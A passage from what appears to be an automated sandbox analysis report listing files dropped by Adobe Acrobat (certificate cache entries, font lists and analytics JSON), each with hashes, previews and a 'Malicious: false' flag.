SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.764745823915414
Encrypted:	false
SSDEEP:	3:kkFklJbePtfllXlE/HT8kEl1NNX8RolJuRdxLlGB9lQRYwpDdt:kK7PeT8TNMa8RdWBwRd
MD5:	58E80F2E36FAF32D2C03E84C5FCF75AF
SHA1:	38D2250E27D44E7F4C406D844B4D5D63703E1C9F
SHA-256:	11C320891215ABB5D5A0E3ACCBD3EDC943590A497C7E0CD4C004EBC5CA05E2F6
SHA-512:	0D8DB71040709461FA07594399727925C238796089E327652820AA6DBAB8518D271F29A805C571B5FF12EE1E30205BE8FD34DA296362C8031D1AE9E3A2DA7F7F
Malicious:	false
Preview:	p...... ........zTx.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKRbPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:pbPiDnLNkPlE99SNxAhUe/3
MD5:	4AC5983EA3A3A99D5785E616648BA88D
SHA1:	76C31BB2D9520BAF68F6BA879DA642723BEF5B6A
SHA-256:	8C44D10838F8F6227C36CD28469548847C2D5163718164AFD95773B4E5082341
SHA-512:	8D206E5C33A4640A0178F13B6A4BCD1C38C4F5E2B50B1700D48EE484E35F10FA9E0254F51EB7B851309034B58310C39E51D8884C88CD8CF1F28B2996715DB81A
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6396

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6396

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319236140736014
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJM3g98kUwPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGMbLUkee9
MD5:	7B5B81D42B99FDAC54D00F4B8877F7D0
SHA1:	218CD8C250C124BED88053D34B870445B7FE3A40
SHA-256:	5F4E453DFB4B4CCC02948D8E945A8F9504214E19E0668B2E0702A84EFBC2C064
SHA-512:	211DC54278F74AC9F4899500FE2DEF04B8CBCB1A8FC5DC824F55E2C93D41DC608FE29B09E6724F86B3371EA2339B2C99F93B050847EE9C8E75FB994696CB9DEC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2500698136725505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfBoTfXpnrPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGWTfXcUkee9
MD5:	32E2F450B4A7487442E0A0DAFB52462D
SHA1:	BE24BDD7BB47DAD91400E1B09CDF8C565D740761
SHA-256:	735F0F778AA801D23768213AD013CCDB5420FC78569B2581046693B1B0135E25
SHA-512:	EA6AC10080083A3828606BE64AA8437E34CC8573AE1F94E39B001D13E935DBD9C86C7AECBDF388288B8DF5D3E104721E1BC3651DAAB246E83A2A764B52D41BC5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.228985334730406
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfBD2G6UpnrPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGR22cUkee9
MD5:	9D60627748F8C321BD58FF012651AC58
SHA1:	D9FA1593913CC283475F12D380868FF4D4ABAE7F
SHA-256:	14F8AB3A85F844EEE4F29E4C909D6FDD168AC5446872CA51CE282D2A3C58A762
SHA-512:	8C1F5D2CE80F050786DE6705B2595F8DF039EFFE78325117C1B7AF2A7311BED4CAE6CAE64811AB1E8F772D3183E29A3153600F0666E1CECFEA0E9301F7416B78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.294636362874953
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfPmwrPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGH56Ukee9
MD5:	030D3D6FF430A7A9E1D52F718C1225DE
SHA1:	040EA46D1809D109B5698FA3FBCA7685AD35B8E7
SHA-256:	6B1A9BDD6E51D874EE832F5EB5A45BE7C02B6E80E826954EC4C084618392373B
SHA-512:	7D2CA591A69C74143697128F0ED080CD395602E6B5A4DFB1E3FA4F3B54FDAAB439D2715D2021FCCCCEA35895CBB0883D0D58FE0F55B0961C5CAC2FD12DB29E26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68653049794366
Encrypted:	false
SSDEEP:	24:Yv6XhKTBYJhXJ+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSCY:YvWKTBYJhXshgy6SAFv5Ah8cv/CY
MD5:	0EC8550026AD87E8B76DF2F69CAA110E
SHA1:	9892D7F7BD8400DC6DD41C97EDD95F6A995BB687
SHA-256:	D59E6051BB0359ECB75B82AE726814434C993B0A77977CD1217F56E22B497344
SHA-512:	CBA7FB38E11ABF023E82EA5791F24F38B86A0AE6E989B3E311361062B3CD3CAB2E4DD13894A2BF30AD1F7D65329D453DF173C9C6CF3CCC3CDA452714F1DBFE9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.242452425451702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJf8dPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGU8Ukee9
MD5:	67C1CA53061816618E73A7C2FD9E5341
SHA1:	3590BF809480F42FC4D89CDC119F9872D08F1986
SHA-256:	6367D8C141FEF8994C3A700C1C6843B5992AF16A6EA29B295B614559CEF196E8
SHA-512:	9C8694F8955944C0495F5D3D60D4E5404E25C381FC4DA63C3306BFCAE4F23B93EB16646C966EF561EF8557DD624C96F066A90AA2DFD8B3454AE5755318B97B8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.240649910368186
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfQ1rPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGY16Ukee9
MD5:	C1FAC0442E0403A7B61A63F7E21A2571
SHA1:	5517969224DFFE432A23FEE2FFD9C5001B96A3AF
SHA-256:	29563778D692D87A7C7531613D96CA3B018F597C2C0F7A303041FDFD1F5912A6
SHA-512:	BC2DA29A86C732B7B88CB56F5D1455A1FAD482106350C7B1930CAD54D91B5D16F24E9BCDF98E1516173D654D75CFB959AEA5D1304F1ACF1FD94333667529037C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.259640961631284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfFldPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGz8Ukee9
MD5:	3DA766691B66E87A009F644596FD8601
SHA1:	FBA8074E63C2E3DBB548507DF255D9AF1485EA9E
SHA-256:	5A69952603039F1E86E481C211D1097BADA74350ED83BB4C5D1BB2B9DD4437CC
SHA-512:	0002498AF6F99620E43A0D3E8DC226EEDDA446919E9E8D397F0483DCE5AF1D2E584776413209BF1C49A9DB8405BE3EB971149FE5F66797EE5DCEAD4DD62CEC92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.271313768356595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfzdPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGb8Ukee9
MD5:	718C01AD8CBEDFFFD7F075F724892673
SHA1:	71007F7C4840443E49CD411CA158D06970D15DA8
SHA-256:	4B94049BD9477C6AA7606849AD5899E15A1BF8B1952A397F062469F82998E0A5
SHA-512:	241A090B575CC29AA5F66C70246743B5163390934B744230CAFD81CB75CC27190E82D9325D34E0A44BF7375A07AD65E82694680DEF487AFCCAF059BB85602751
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.250959936336608
Encrypted:	false
